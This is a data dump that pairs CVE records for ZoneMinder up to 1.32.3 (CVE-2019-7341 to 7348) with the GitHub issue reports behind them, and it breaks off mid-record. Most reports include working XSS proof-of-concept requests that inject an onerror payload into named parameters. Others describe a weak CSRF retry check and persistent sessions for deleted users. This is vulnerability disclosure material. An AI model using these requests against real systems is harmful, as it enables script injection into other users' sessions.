Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `filter`, insecurely displays the `filter[Query][terms][0][val]` parameter value, without applying any proper output filtration leading to XSS. To Reproduce Affected URL : http://localhost/zm/?sort_asc=1&sort_field=StartTime&view=filter POST Data - `executeButton=&action=&filter[AutoArchive]=1&filter[AutoDelete]=1&filter[AutoExecute]=1&filter[AutoExecuteCmd]=0&filter[AutoMove]=1&filter[AutoMoveTo]=1&filter[AutoVideo]=1&filter[B [limit]=100&filter[Query][sort_asc]=1&filter[Query][sort_field]=Id&filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query][terms][0] [val]="><img src=x onerror=prompt('1');>&filter[UpdateDiskSpace]=1&Id=&object=filter` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="687" alt="filter 3" src="https://user-images.githubusercontent.com/47003572/51706993-17c38580-2046-11e9-840b-bd6cd260dffe.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	POST - Reflected Cross Site Scripting(XSS) - filter.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2462/comments	0	2019-01-24T20:39:09Z	2019-02-09T23:36:09Z	https://github.com/ZoneMinder/zoneminder/issues/2462	402,886,046	2,462
CVE-2019-7341	2019-02-04T19:29:01.053	Reflected - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[LinkedMonitors]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2463" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2463	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `monitor`, insecurely prints the `newMonitor[LinkedMonitors]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. To Reproduce Affected URL : http://localhost/zm/index.php POST Data - ``` view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]="><img src=x onerror=prompt('1');>&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&ne wMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]= 30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option# 1 is best, 51 is worst quality#crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N - %d/%m/%y %H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&n ewMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]=&newMonitor[Channel]=0&newMonitor[Format]=255&newMonito r[Palette]=0&newMonitor[V4LMultiBuffer]=0&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=720&newMonitor[Or ientation]=0&newMonitor[Deinterlacing]=0 ``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="802" alt="monitor" src="https://user-images.githubusercontent.com/47003572/51707562-8fde7b00-2047-11e9-860c-8ee92d06571c.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - monitor.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2463/comments	0	2019-01-24T20:50:25Z	2019-02-10T01:15:23Z	https://github.com/ZoneMinder/zoneminder/issues/2463	402,889,930	2,463
CVE-2019-7342	2019-02-04T19:29:01.100	POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'filter[AutoExecuteCmd]' parameter value in the view filter (filter.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2461" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2461	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `filter`, insecurely displays the `filter[AutoExecuteCmd]` parameter value, without applying any proper output filtration leading to XSS. To Reproduce Affected URL : http://localhost/zm/?sort_asc=1&sort_field=StartTime&view=filter POST Data - `executeButton=&action=&filter[AutoArchive]=1&filter[AutoDelete]=1&filter[AutoExecute]=1&filter[AutoExecuteCmd]=${injectionpoint}$&filter[AutoMove]=1&filter[AutoMoveTo]=1&filter[Auto [limit]=100&filter[Query][sort_asc]=1&filter[Query][sort_field]=Id&filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query][terms][0] [val]=1&filter[UpdateDiskSpace]=1&Id=&object=filter` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="684" alt="filter 1" src="https://user-images.githubusercontent.com/47003572/51706694-468d2c00-2045-11e9-99ed-8895c33a578d.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	POST - Reflected Cross Site Scripting(XSS) - filter.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2461/comments	0	2019-01-24T20:33:09Z	2019-02-09T23:24:27Z	https://github.com/ZoneMinder/zoneminder/issues/2461	402,883,845	2,461
CVE-2019-7343	2019-02-04T19:29:01.133	Reflected - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[Method]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2464" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2464	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `monitor`, insecurely prints the `newMonitor[Method]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. To Reproduce Affected URL : http://localhost/zm/index.php POST Data - ```view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]=&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&newMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]=30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option# 1 is best, 51 is worst quality#crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N -%d/%m/%y%H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&newMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]="><img src=x onerror=prompt('1');>&newMonitor[Channel]=0&newMonitor[Format ]=255&newMonitor[Palette]=0&newMonitor[V4LMultiBuffer]=0&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=72 0&newMonitor[Orientation]=0&newMonitor[Deinterlacing]=0``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="741" alt="monitor 1" src="https://user-images.githubusercontent.com/47003572/51707864-50645e80-2048-11e9-8e63-9b80ca5f8f2c.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - monitor.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2464/comments	0	2019-01-24T20:55:16Z	2019-02-10T01:01:57Z	https://github.com/ZoneMinder/zoneminder/issues/2464	402,891,608	2,464
CVE-2019-7344	2019-02-04T19:29:01.193	Reflected XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'filter' as it insecurely prints the 'filter[Name]' (aka Filter name) value on the web page without applying any proper filtration.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2455" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2455	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `filter`, insecurely displays the `Filter name`, without applying any proper output filtration leading to XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=filter&Id=1&action=&object=filter&filter[Name]="><img src=x onerror-prompt('1');>&filter[Query][terms][0][attr]=Archived&filter[Query][terms][0][op]=%3D&filter[Query][terms][0][val]=0&filter[Query][terms][1][cnj]=and&filter[Query][terms][1][attr]=DiskPercent&filter[Query][terms][1][op]=%3E%3D&filter[Query][terms][1][val]=95%22&filter[Query][sort_field]=Id&filter[Query][sort_asc]=1&filter[Query][limit]=100&filter[AutoExecuteCmd]=&filter[AutoDelete]=1&filter[AutoMoveTo]=&filter[Background]=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="505" alt="filter" src="https://user-images.githubusercontent.com/47003572/51705072-a92ff900-2040-11e9-88c0-30695bc03d17.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - filter.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2455/comments	0	2019-01-24T19:59:50Z	2019-02-09T23:19:34Z	https://github.com/ZoneMinder/zoneminder/issues/2455	402,872,208	2,455
CVE-2019-7345	2019-02-04T19:29:01.257	Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view 'options' (options.php) does no input validation for the WEB_TITLE, HOME_URL, HOME_CONTENT, or WEB_CONSOLE_BANNER value, allowing an attacker to execute HTML or JavaScript code. This relates to functions.php.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2468" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2468	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `options`, does no input validation to the value supplied to `WEB_TITLE`, `HOME_URL`, `HOME_CONTENT`, `WEB_CONSOLE_BANNER` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. To Reproduce Affected URL : http://localhost/zm/index.php POST Data - ``` view=options&tab=web&action=options&newConfig[ZM_WEB_TITLE]=${Injectionpoint}$&newConfig[ZM_WEB_TITLE_PREFIX]=aa&newConfig[ZM_HOME_URL]=${Injectionpoint }$&newConfig[ZM_HOME_CONTENT]="><img src=x onerror=prompt('1');>&newConfig[ZM_WEB_CONSOLE_BANNER]=${Injectionpoint}$&newConfig[ZM_WEB_RESIZE_CONSOLE]=1&newConfig[ ZM_WEB_POPUP_ON_ALARM]=1&newConfig[ZM_WEB_ALARM_SOUND]=&newConfig[ZM_WEB_EVENT_SORT_FIELD]=DateTime&newConfig[ZM_WEB_EVENT_SORT_ORDER]=as c&newConfig[ZM_WEB_EVENTS_PER_PAGE]=25&newConfig[ZM_WEB_LIST_THUMB_WIDTH]=48&newConfig[ZM_WEB_LIST_THUMB_HEIGHT]=0&newConfig[ZM_WEB_USE_OB JECT_TAGS]=1&newConfig[ZM_WEB_XFRAME_WARN]=1&newConfig[ZM_WEB_FILTER_SOURCE]=Hostname ``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, `WEB_TITLE`, `HOME_URL`, `HOME_CONTENT`, `WEB_CONSOLE_BANNER` will beset with the Payload & get triggered. <img width="800" alt="web" src="https://user-images.githubusercontent.com/47003572/51709531-a63b0580-204c-11e9-8624-a550db9d2db1.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting (XSS) - functions.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2468/comments	0	2019-01-24T21:25:49Z	2019-02-10T02:06:43Z	https://github.com/ZoneMinder/zoneminder/issues/2468	402,902,186	2,468
CVE-2019-7346	2019-02-04T19:29:01.287	A CSRF check issue exists in ZoneMinder through 1.32.3 as whenever a CSRF check fails, a callback function is called displaying a "Try again" button, which allows resending the failed request, making the CSRF attack successful.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2469" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2469	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug `Try again` button in callback function - Whenever a CSRF check fails,a callback function is called displaying a fail message. Unfortunately there also exists an "Try again" button on the page, which allows to resend the failed request, making the attack successful. To Reproduce <img width="619" alt="csrf" src="https://user-images.githubusercontent.com/47003572/51709967-dc2cb980-204d-11e9-8f08-d139d7d2c95f.png"> Expected behavior This allows an attacker to easily carry out the CSRF attack. Normally users are not too technical to understand what CSRF failure message is & would generally click on "Try Again", themselves making the attack successful. Debug Logs ``` None ```	Weak Cross-site Resource Forgery(CSRF) Protection	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2469/comments	0	2019-01-24T21:36:28Z	2019-02-10T06:40:12Z	https://github.com/ZoneMinder/zoneminder/issues/2469	402,905,892	2,469
CVE-2019-7347	2019-02-04T19:29:01.337	A Time-of-check Time-of-use (TOCTOU) Race Condition exists in ZoneMinder through 1.32.3 as a session remains active for an authenticated user even after deletion from the users table. This allows a nonexistent user to access and modify records (add/delete Monitors, Users, etc.).	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.6, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2476" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2476	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug Time-of-check, time-of-use race conditions occur when a resource is checked for a particular value, that value is changed, then the resource is used, based on the assumption that the value is still the same as it was at check time. To Reproduce The session is active for authenticated user, even after deleted from users table, leading to Time-of-check Time-of-use (TOCTOU) Race Condition. This can allow an non-existing user to access & modify accessible records (Add/delete Monitors,Users etc). Affected URL : http://localhost/zm/index.php (Privileged access) - Navigate to users page and "Add New User" from users tab and assign any privileges. - Delete the newly added user. - Deleted user can still access the interface & make modifications to the allowed operations. An attacker can gain access to otherwise unauthorized resources and modify, delted or update application data. <img width="583" alt="tack 1" src="https://user-images.githubusercontent.com/47003572/51722246-cbdf0380-207a-11e9-9d3c-5f10ecef10c5.png"> <img width="584" alt="tack 2" src="https://user-images.githubusercontent.com/47003572/51722247-cbdf0380-207a-11e9-9d63-7edd65caf7e7.png"> <img width="585" alt="tack 3" src="https://user-images.githubusercontent.com/47003572/51722248-cc779a00-207a-11e9-8e68-1782994f5541.png"> Expected behavior - Destroy the user's session, once the users record is deleted from the database. Debug Logs ``` None ```	Time-of-check Time-of-use (TOCTOU) Race Condition	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2476/comments	0	2019-01-25T03:01:24Z	2020-08-06T16:49:28Z	https://github.com/ZoneMinder/zoneminder/issues/2476	402,985,677	2,476
CVE-2019-7348	2019-02-04T19:29:01.383	Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'username' parameter value in the view user (user.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2467" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": 